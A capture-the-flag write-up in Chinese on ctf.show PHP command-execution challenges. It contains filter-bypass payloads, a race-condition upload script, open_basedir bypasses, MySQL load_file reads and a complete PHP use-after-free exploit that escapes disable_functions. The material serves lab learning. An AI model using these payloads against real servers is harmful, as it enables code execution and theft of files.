    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了

\;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`|\%|\x09|\x26

坏,没法用%09代替空格,没法用?代替字符

不过幸好还有<和''

Text Only
1
2
3
tac<fla%27%27g.php||
or
tac<fla%27%27g.php%0a

web51

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了

\;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|\%|\x09|\x26/

怎么把我tac也过滤了

没事能绕过

Text Only
1
2
3
t%27%27ac<fla%27%27g.php||
or
t%27%27ac<fla%27%27g.php%0a

web51

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了

\;|cat|flag| |[0-9]|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|\%|\x09|\x26|>|\<

我测怎么连< >都要过滤

别忘了还可以用$IFS

Text Only
1
2
3
ca%27%27t$IFS/fla%27%27g||
or
ca%27%27t$IFS/fla%27%27g%0a

web52

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

过滤了

\;|cat|flag| |[0-9]|*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|\%|\x09|\x26|>|\</

这题没有在后面进行命令拼接,其他和上一题一样

Text Only
c%27%27at${IFS}fla%27%27g.php

web54

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这题过滤了很多命令,题目通过*使得只要是传入的内容出现如cat三个字符即可被匹配到,无法使用之前的字符拼接方法绕过

这题没过率通配符?

解一

Text Only
/bin/?at${IFS}f???????

cat命令所在的路径是在/bin/目录下,所以这里相当于直接调用了cat文件执行命令,这里的cat可以看作命令,也是一个文件,所以通配符可以用在这上面(一开始还傻傻的换成uniq看能不能用hhh)。

bin下的命令:Linux /bin 目录下命令简要说明 - 崔旗 - 博客园

同理bin目录下还存在more,所以这里的cat我们换成more也可以读取flag。 解二

Text Only
1
2
3
4
5
vi${IFS}fla?.php 
or
c=uniq${IFS}f???.php //倒序的
or
grep${IFS}%27fla%27${IFS}f???????%0a

web55

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了

Text Only
\;|[a-z]|\`|\%|\x09|\x26|\>|\</

这题涉及到一个知识点

也就是无字母数字的命令执行

https://blog.csdn.net/qq_46091464/article/details/108513145

https://blog.csdn.net/qq_46091464/article/details/108557067

无字母数字webshell之提高篇 | 离别歌

思路

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)

Text Only
注意:通过`.`去执行sh命令不需要有执行权限

1.构造post数据包

HTML
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://f3a86e62-7402-4d1d-b950-0d6da4aa4eab.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

在上传的文件里面写入sh指令

Bash
#!/bin/sh
ls

2.抓包

image-20241127181502002

3.构造执行sh命令的poc

详细解释poc的构造:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html#glob

我们这里可以理解为我们这道题里面的干扰文件名都是由小写字母组成的,所有文件名都是小写,只有PHP生成的临时文件包含大写字母,那我们就可以构造出如下的poc

Text Only
?c=.+/???/????????[@-[]

注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。 在这里插入图片描述

我们就来吧

image-20241127233056280

修改一下指令内容即可得到flag

image-20241127233144783

web56

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

\;|[a-z]|[0-9]|\$|(|{|\'|\"|`|\%|\x09|\x26|>|\<

这题相比上一题多过滤了一个数字,不影响我们上题的解题方法

这里不再赘述

放个大佬的脚本

Python
1
2
3
4
5
6
7
8
import requests

while True:
    url = "http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") > 0:
        print(r.text)
        break

web57

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: [email protected]
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

过滤条件增加

\;|[a-z]|[0-9]|`||#|\'|\"|`|\%|\x09|\x26|\x0a|>|\<|.|\,|\?|*|-|=|[/

这道题把?过滤了,但是我们可以看到

Text Only
system("cat ".$c.".php");

这题会将我们传入的get参数进行拼接后再执行

题目里有个暗示

Text Only
//flag in 36.php

也就是说我们要用符号构造出36

我们可以利用linux的$(())构造出36

在linux里面\((())=0,\)((~ $(()) ))=-1

其中~符号表示取反,这里0的取反等于-1

也就是我们先将36个-1加起来再取反得到我们需要的36

payload:

Text Only
c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

image-20241128205205756

从而得到flag

web58

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload:

Text Only
1
2
3
c=highlight_file("flag.php");
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php //文件包含,得到的回显需要进行base64解码
c=show_source('flag.php');

web59

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

解法与上题一致,不再赘述

(没搞懂两题有什么区别)

web60

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

解法依旧与web58一致

可能我太菜了看不出有什么区别

web61

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

依旧web58

web62

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

依旧...

web62

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

依旧......

web63

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

依旧......

web64

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

嘶,怎么还是那样...

web65

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

同上...

web66

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

本来以为还是一样的,没想到...

image-20241128215426797

看来我们要想办法查目录了

我们可以尝试利用php中查询目录的函数

比如 scandir()

image-20241128233043919

Text Only
var_dump(scandir('/'));

image-20241128233314034

接下来就是查flag,可以通过文件包含来查

image-20241128233701394

flag.txt前面记得加上/

web67

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这题解法与web66一致

web68

image-20241128234343226

这题貌似只是show_source和highlight_file用不了,其他没什么变化

可以直接用前两题的方法

也可以直接

Text Only
c=include('/flag.txt') //赌

web69

image-20241128234507588

这题相比上一题,print_r() 和 var_dump() 也被禁用了

我们可以通过寻找其他可以打印数组的函数来打印目录

我们可以通过var_export()来代替,从而打印目录

Text Only
c=var_export(scandir("/"));

image-20241129130708792

接下读flag即可

Text Only
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=/flag.txt

其他的解法:

查文件

Text Only
?c=echo implode(",",(scandir('/'))); 
?c=echo json_encode(scandir("/"));

读文件

Text Only
?c=readgzfile('/flag.txt');

web70

image-20241129132128259

这题把error_reporting()和ini_set()禁用了

虽然不知道有什么用,不影响我用上一题的方法读flag

web71

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?
  • $s = ob_get_contents();:获取输出缓冲区的内容并赋值给变量s。输出缓冲区在 PHP 中用于临时存储要输出到浏览器等的内容,以便在合适的时候进行处理或修改。

  • ob_end_clean();:清空输出缓冲区并关闭它,这样就清除了原始的、未经处理的输出内容,以便后续进行自定义的输出处理。

  • echo preg_replace("/[0-9]|[a-z]/i","?",$s);:这行代码使用正则表达式对获取到的输出内容(存储在s中)进行替换操作。它会将所有的数字和字母(不区分大小写)都替换为?,然后将处理后的内容输出到浏览器等输出端。

也就是说这道题会对回显进行处理,让我们没法得到回显

我们可以用exit()/die()提前结束程序,从而不执行后续代码直接进行回显

Text Only
c=var_export(scandir("/"));exit();

image-20241129144431247

Text Only
c=readgzfile('/flag.txt');exit();

image-20241129144855221

web72

PHP
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

这道题一开始还以为和上一题差不多

image-20241129150755401

先进行目录查询

Text Only
c=var_export(scandir("./"));exit();

注意⚠️ 这道题只有权限查询的当前目录也就是./

而无法访问到其他目录的文件,如 / 根目录

尝试使用 scandir() 函数来扫描根目录,但由于 open_basedir 限制,这个操作被禁止了。 open_basedir 是 PHP 的一个安全配置指令,用来限制 PHP 脚本只能访问特定的目录。 当前配置只允许访问 /var/www/html/ 目录及其子目录,但不允许访问其他目录。

原文链接:https://blog.csdn.net/Myon5/article/details/140079942

我们可以尝试用glob协议绕过open_basedir协议

payload:(记得删注释)

PHP
1
2
3
4
5
6
7
c=?><?php $a=new DirectoryIterator("glob:///*");// 创建一个DirectoryIterator对象,遍历根目录
foreach($a as $f)// 遍历每个条目
{
   echo($f->__toString().' ');// 输出条目的名称,并添加一个空格
}
exit(0); // 终止脚本执行
?>

image-20241129151607469

或者

payload:(记得删注释)

PHP
1
2
3
4
5
6
c=?><?php $a = opendir("glob:///*"); // 打开根目录,并将目录句柄赋值给$a
while (($file = readdir($a)) !== false) { // 循环读取目录中的每个条目
    echo $file . "<br>"; // 输出每个条目的名称,并添加HTML换行标签
};
exit(0); // 终止脚本执行
?>

我们可以发现flag0.php

利用uaf的脚本进行命令利用uaf的脚本进行命令执行执行:

尝试执行ls /; cat /flag0.txt命令

PHP
c=?><?php
pwn("ls /;cat /flag0.txt");

function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}
?>

记得要转url

image-20241129232845637

所以什么是uaf呢?

(先挖个坑回头补)

web73

这一题和上一题的区别其实就是flag的文件改名了,我们用上一题的方法读一下文件

Text Only
1
2
3
4
5
6
7
c=?><?php $a=new DirectoryIterator("glob:///*");// 创建一个DirectoryIterator对象,遍历根目录
foreach($a as $f)// 遍历每个条目
{
   echo($f->__toString().' ');// 输出条目的名称,并添加一个空格
}
exit(0); // 终止脚本执行
?>

image-20241129234701193

可以看到一个flagc.txt文件

这题其实已经关闭了open_basedir,所以我们也可以用之前的方法读

Text Only
var_export(scandir('/'));exit();
Text Only
echo(implode(' ',scandir('/')));exit();

读文件的话上一题的uaf方法被ban了,这题用不了

所以我们还是用之前方法

Text Only
c=readgzfile('/flagc.txt');exit();

image-20241129235458680

web74

image-20241129235835167

这题我先用之前的方法var_export试试能不能读到目录,发现显示null,应该是open_basedir打开了

image-20241130000019913

接着用glob协议的方法读到了,flag文件名叫做flagx.txt

先用uaf的方法试试

image-20241130000253395

发现这条路被ban掉了

image-20241130000438521

最后用

Text Only
c=readgzfile('/flagx.txt');exit();

成功查到了flag

web75

image-20241130001438365

这题要用glob查文件,用var_export查不了

接下来是读文件

尝试了uaf和readgzfile之类的方法都失败了

没办法看看大佬怎么做的

我们其实可以用到mysql的load_file方法,从而读到flag

payload:

PHP
c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();

豆包解释一下

  1. 数据库连接:
  2. $conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining");
  3. 这行代码使用 MySQLi 扩展建立了一个与 MySQL 数据库的连接。它指定了数据库服务器的 IP 地址为127.0.0.1(本地主机),用户名是root,密码也是root,要连接的数据库名称是ctftraining。如果连接成功,$conn将保存这个数据库连接对象,以便后续进行数据库操作;如果连接失败,将会产生一个错误信息(不过在这段代码中没有对连接失败情况做显式处理)。
  4. SQL 查询语句构建:
  5. $sql = "select load_file('/flag36.txt') as a";
  6. 这里构建了一个 SQL 查询语句。load_file()是 MySQL 中的一个函数,它的作用是读取指定路径的文件内容,并以字符串的形式返回。在这个查询中,它试图读取服务器上/flag36.txt文件的内容,并给查询结果的这一列起了一个别名a
  7. 执行查询并获取结果:
  8. $row = mysqli_query($conn, $sql);
  9. 这行代码使用已经建立好的数据库连接$conn来执行前面构建的 SQL 查询语句$sql。如果查询执行成功,$row将包含查询结果集的资源对象(可以理解为指向查询结果数据的一种引用);如果查询失败,同样会产生一个错误信息(这里也未做显式处理)。
  10. while($result=mysqli_fetch_array($row)){ echo $result['a']; }
  11. 这个while循环用于遍历查询结果集。mysqli_fetch_array()函数每次从结果集中获取一行数据,并以数组的形式返回。在循环内部,它通过$result['a']来获取前面查询中load_file()函数读取到的文件内容(因为在查询中给这一列起了别名a),并将其输出到屏幕上。
  12. 程序结束:
  13. exit();
  14. 这行代码使得脚本在完成查询结果输出后立即终止执行,不再执行后续可能存在的其他代码。

也可以

用PDO的方法来实现同样的目的

payload:

PHP
1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
  1. 数据库连接建立:
  2. $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
  3. 这行代码使用 PDO 创建了一个与 MySQL 数据库的连接对象 $dbh。它指定了数据库服务器的主机名为 localhost,要连接的数据库名称是 ctftraining,以及用于登录数据库的用户名 root 和密码 root。如果连接成功,后续就可以通过这个对象进行数据库相关的操作;如果连接失败,将会抛出一个 PDOException 异常。
  4. 执行查询操作:
  5. foreach($dbh->query('select load_file("/flag36.txt")') as $row)
  6. 这里通过已建立的数据库连接对象 $dbh 执行了一个 SQL 查询语句 select load_file("/flag36.txt")load_file() 是 MySQL 中的一个函数,用于读取指定路径的文件内容。这个查询语句的目的就是获取服务器上 /flag36.txt 文件的内容。
  7. 然后使用 foreach 循环来遍历查询结果集。每次循环,$row 将会获取到查询结果集中的一行数据,由于查询结果只有一列(即 load_file() 函数返回的文件内容那一列),所以可以通过 $row[0] 来获取这一列的值。

结果输出与资源释放

  1. 结果输出:
  2. echo($row[0])."|";
  3. 在每次遍历查询结果集的循环中,这行代码将获取到的文件内容(通过 $row[0])输出到屏幕上,并在后面添加一个 | 作为分隔符。
  4. 数据库连接资源释放:
  5. $dbh = null;
  6. 当查询结果处理完毕后,这行代码将数据库连接对象 $dbh 设置为 null,这有助于释放与该连接相关的资源,确保系统资源的合理利用。

异常处理

  1. 捕获异常:
  2. catch (PDOException $e) {echo $e->getMessage();exit(0);}
  3. 整个 try 代码块被放置在一个 try-catch 语句中。如果在尝试建立数据库连接或执行查询等操作过程中出现任何 PDOException 异常(比如数据库连接失败、查询语句语法错误等情况),异常将会被这个 catch 块捕获。
  4. 一旦捕获到异常,catch 块中的代码将会执行。这里首先通过 $e->getMessage() 获取到具体的异常消息,并将其输出到屏幕上,然后使用 exit(0) 终止脚本的执行,以防止后续可能出现的错误或未定义行为。

web76

image-20241130003249705

这题依旧是用glob协议查目录,得到文件名为flag36d.txt

用上一题mysql的方法,成功查到flag

payload:

Text Only
c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36d.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();

web77

image-20241130004911319

用glob协议的方法查出flag文件为flag36x.php,还有一个readflag文件

接下来要看看怎么查文件

image-20241130005425204

上两题用到的读flag的方法(mysql)这题用不了,需要想点其他的方法

官方的wp用 PHP 中的 FFI(Foreign Function Interface)方法来调用 C 语言的 system 函数,并执行一个 Shell 命令。

什么是FFI?

